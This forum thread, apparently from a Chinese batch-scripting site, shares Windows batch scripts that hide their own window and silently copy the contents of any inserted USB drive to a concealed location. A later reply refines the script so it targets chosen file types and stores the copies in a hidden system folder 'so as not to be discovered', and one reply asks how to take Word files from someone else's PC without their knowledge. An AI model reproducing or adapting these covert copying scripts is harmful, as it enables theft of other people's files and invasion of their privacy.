返回列表 发帖

[文件管理] 批处理自动复制U盘里的文件

本程序可以一直运行不占用很多的系统资源。当有U盘插入时会自动复制U盘的文件。大约3-5秒查找一次。
这段代码是别人的。
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" fmr520",0)(window.close)
@echo off
if "%1" == "fmr520" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" fmr520",0)(window.close)&&exit
:fmr
setlocal enabledelayedexpansion
for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do (
set var=%%i
set drive=!var:~-2!
fsutil fsinfo drivetype !drive!|find "可移动" && (
xcopy "!drive!\*.*" "%temp%\U盘\" /h/i/y/v/s || ping 127.1 /n 1 >nul
)
)
ping 171.1 /n 3 >nul
goto fmrCOPY
@set,=学无止境
@for /l %%b in (0,1,6) do @call set/p= %%,:~%%b,1%%<nul

@echo off
start/min "" "复制U盘.bat"

嘿嘿!!!
@set,=学无止境
@for /l %%b in (0,1,6) do @call set/p= %%,:~%%b,1%%<nul

TOP

收下了 不错 呵呵 以后不用要老师的课件了

TOP

复制的内容保存去那了?

TOP

复制的内容保存去那了?
是哦????

TOP

原帖由 杨风 于 2008-6-26 11:10 发表
复制的内容保存去那了?
是哦????

在TEMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\U盘里面,程序中相关的语句是:
xcopy "!drive!\*.*" "%temp%\U盘\" /h/i/y/v/s
***共同提高***

TOP

这个批处理 好像改过名字的u盘就无效 对吧

TOP

原帖由 愚无尽 于 2008-8-10 12:32 发表
这个批处理 好像改过名字的u盘就无效 对吧

经测试,改过名字的却是无效。

TOP

高手们尽快解决~

TOP

请教阁下一个问题:      假如别人的电脑上有我想要的文件(如Word文件),而我不知道文件的名字和存放位置。使用批处理,怎样才能使当我的优盘插入他的电脑时,能神不知鬼不觉地把他电脑上所有的Word文件(其中肯定由我所要的)复制到我优盘的指定文件夹里?
       请赐教!

TOP

心愿

呵呵“学习了!再接再厉!可以考备目录文件吗

TOP

fsutil fsinfo drives^|find /v ""    是什么意思为什么要在|前面加^
我在cmd中试了一下说“drives|find”是无效参数
请大家帮忙解答!
谢谢!
大家

TOP

回复 12楼 的帖子

for语句中的管道符为何要用尖号^进行转义?
http://bbs.bathome.net/viewthread.php?tid=1290&page=2#pid6306
我帮忙写的代码不需要付钱。如果一定要给,请在微信群或QQ群发给大家吧。
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
【支持批处理之家,加入VIP会员!】http://bbs.bathome.net/thread-67716-1-1.html

TOP

回复 7楼 的帖子

怎样用批处理获取U盘盘符?
http://bbs.bathome.net/thread-2683-1-1.html
我帮忙写的代码不需要付钱。如果一定要给,请在微信群或QQ群发给大家吧。
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
【支持批处理之家,加入VIP会员!】http://bbs.bathome.net/thread-67716-1-1.html

TOP

这个是我根据版主的代码改写的,可以复制指定的文件类型,多线程复制 (有两个以上U盘的情况下比原代码复制较快。),变量 t 指定要复制的文件类型。变量 p 指定路径,为了不被别人发现,我将文件复制到一个特殊文件夹中 USB.. 代码如下:
@Echo off
SetLocal EnableDelayedExpansion
If "%1"=="D" goto D
If "%1"=="" Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" F",0)(window.close)&&Exit
Set t=doc xls ppt txt jpg bmp dwg rm rmvb avi flv swf wmv mpg mpeg mp4 3gp asf dat vob mp3 mov wma wav zip exe rar amv
Set p=%~0\..\}
:F
set b=0
For /F "delims=驱动器:\" %%d in ('Fsutil fsinfo drives^|more') do Fsutil fsinfo drivetype %%d:|Find "移"&&Ping 127.1&&Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" D %%d",0)(window.close)&&set /a b+=1
:W
Ping 127.1
set a=-2
For /F %%i in ('tasklist^|Find "cmd.exe"') do set /a a+=1
If %a% leq %b% goto F
Goto W
:D
If not exist "!p!\USB~1\" md "!p!\USB...\"&&attrib +s +h "!p!"
If not exist "!p!\USB~1\%2\" md "!p!\USB~1\%2\"
For %%f in (!t!) do For /f "delims=" %%g in ('dir/a-d/b/s %2:\*.%%f') do If not exist "!p!\USB~1\%2%%~pnxg" xcopy "%%g" "!p!\USB~1\%2%%~pg" /C/H/I/YCOPY

[ 本帖最后由 crartor 于 2010-4-4 23:21 编辑 ]

TOP

返回列表